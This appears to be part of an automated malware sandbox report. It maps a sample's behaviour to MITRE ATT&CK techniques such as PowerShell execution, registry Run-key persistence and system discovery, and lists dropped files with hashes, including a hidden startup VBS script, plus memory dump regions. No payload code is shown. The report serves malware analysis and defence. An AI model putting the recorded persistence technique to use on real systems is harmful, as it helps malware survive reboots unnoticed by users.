- Checks processor information in registry
PID:4532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
3ccf13786554a09feada0ddedbc8a646

SHA1
54d359350816173172d9a351b465207e4be88a8f

SHA256
f436e158dc2fc703547bec5d5111f4a7d43b2b7bb02a16dbab812e48ce8e5ca9

SHA512
6fb3d66ccc739b2a6d93b19af338b3b8cda9c3d431dc9343ccfb7c121fc7f4383aad7581e6e27f9bd482d40b970ab6a61a4365a8003a96b190a9e781b2ae91b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qr3puztq.w35.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_220.vbs

Filesize
124B

MD5
e3eeb88d07baa36ae95c61fe96afb9b7

SHA1
e576ceb8cce1a6db917b0d1e155f761b6c180aa2

SHA256
170d11ccbc7245cde6cbbce85413d73fe380a3db8d9e9f909624c51b5edc57f8

SHA512
065d4353e23e096fa8586531d9f84c83668f833447d139293a40a0b8d95cb2405dae3538cb97d6ae5b4c902a083137040c2ffb033b5dcb4533e10570055d6e57

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
3KB

MD5
c6086d02f8ce044f5fa07a98303dc7eb

SHA1
6116247e9d098b276b476c9f4c434f55d469129c

SHA256
8901d9c9aea465da4ea7aa874610a90b8cf0a71eba0e321cf9675fceee0b54a0

SHA512
1876d8fc1a8ac83aadb725100ea7a1791bd62d4d0edc1b78802e0bffe458f309a66dc97e1b9da60dd52b8cb80bf471ccb5f8480e6192c9eb2a13eac36462d27a

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
3KB

MD5
39b9eb9d1a56bc1792c844c425bd1dec

SHA1
db5a91082fa14eeb6550cbc994d34ebd95341df9

SHA256
acade97e8a1d30477d0dc3fdfea70c2c617c369b56115ec708ed8a2cfdbc3692

SHA512
255b1c1c456b20e6e3415540ef8af58e723f965d1fa782da44a6bbc81b43d8a31c5681777ba885f91ed2dae480bc2a4023e01fe2986857b13323f0459520eb51

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
a9124c4c97cba8a07a8204fac1696c8e

SHA1
1f27d80280e03762c7b16781608786f5a98ff434

SHA256
8ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21

SHA512
537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
4ac1741ceb19f5a983079b2c5f344f5d

SHA1
f1ebd93fbade2e035cd59e970787b8042cdd0f3b

SHA256
7df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc

SHA512
583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd

Download Submit
memory/384-83-0x00007FF8610D0000-0x00007FF8610E0000-memory.dmp

Filesize
64KB

Download
memory/648-15-0x0000017658C00000-0x0000017658C76000-memory.dmp

Filesize
472KB

Download
memory/648-69-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/648-17-0x0000017658AE0000-0x0000017658B28000-memory.dmp

Filesize
288KB

Download
memory/648-16-0x0000017656500000-0x0000017656508000-memory.dmp

Filesize
32KB

Download
memory/648-14-0x0000017658B30000-0x0000017658B74000-memory.dmp

Filesize
272KB

Download
memory/648-12-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/648-58-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/648-57-0x00007FF881E63000-0x00007FF881E65000-memory.dmp

Filesize
8KB

Download
memory/648-56-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/648-13-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/648-1-0x000001763E2B0000-0x000001763E2D2000-memory.dmp

Filesize
136KB

Download
memory/648-11-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/648-18-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/648-0-0x00007FF881E63000-0x00007FF881E65000-memory.dmp

Filesize
8KB

Download
memory/968-85-0x00007FF8610D0000-0x00007FF8610E0000-memory.dmp

Filesize
64KB

Download
memory/1164-86-0x00007FF8610D0000-0x00007FF8610E0000-memory.dmp

Filesize
64KB

Download
memory/1768-77-0x00007FF8610D0000-0x00007FF8610E0000-memory.dmp

Filesize
64KB

Download
memory/1996-74-0x00000165C8740000-0x00000165C8750000-memory.dmp

Filesize
64KB

Download
memory/2156-84-0x00007FF8610D0000-0x00007FF8610E0000-memory.dmp

Filesize
64KB

Download
memory/3628-76-0x00007FF8610D0000-0x00007FF8610E0000-memory.dmp

Filesize
64KB

Download
memory/3776-82-0x00007FF8610D0000-0x00007FF8610E0000-memory.dmp

Filesize
64KB

Download
memory/3860-75-0x00007FF8610D0000-0x00007FF8610E0000-memory.dmp

Filesize
64KB

Download
memory/3860-47-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/3860-70-0x0000027741610000-0x000002774163A000-memory.dmp

Filesize
168KB

Download
memory/3860-48-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/3860-49-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/3860-50-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/3860-51-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/3860-52-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/3860-46-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/3860-35-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/3860-36-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/3860-37-0x0000027746F80000-0x0000027746F81000-memory.dmp

Filesize
4KB

Download
memory/4744-34-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/4744-31-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/4744-30-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download
memory/4744-20-0x00007FF881E60000-0x00007FF882922000-memory.dmp

Filesize
10.8MB

Download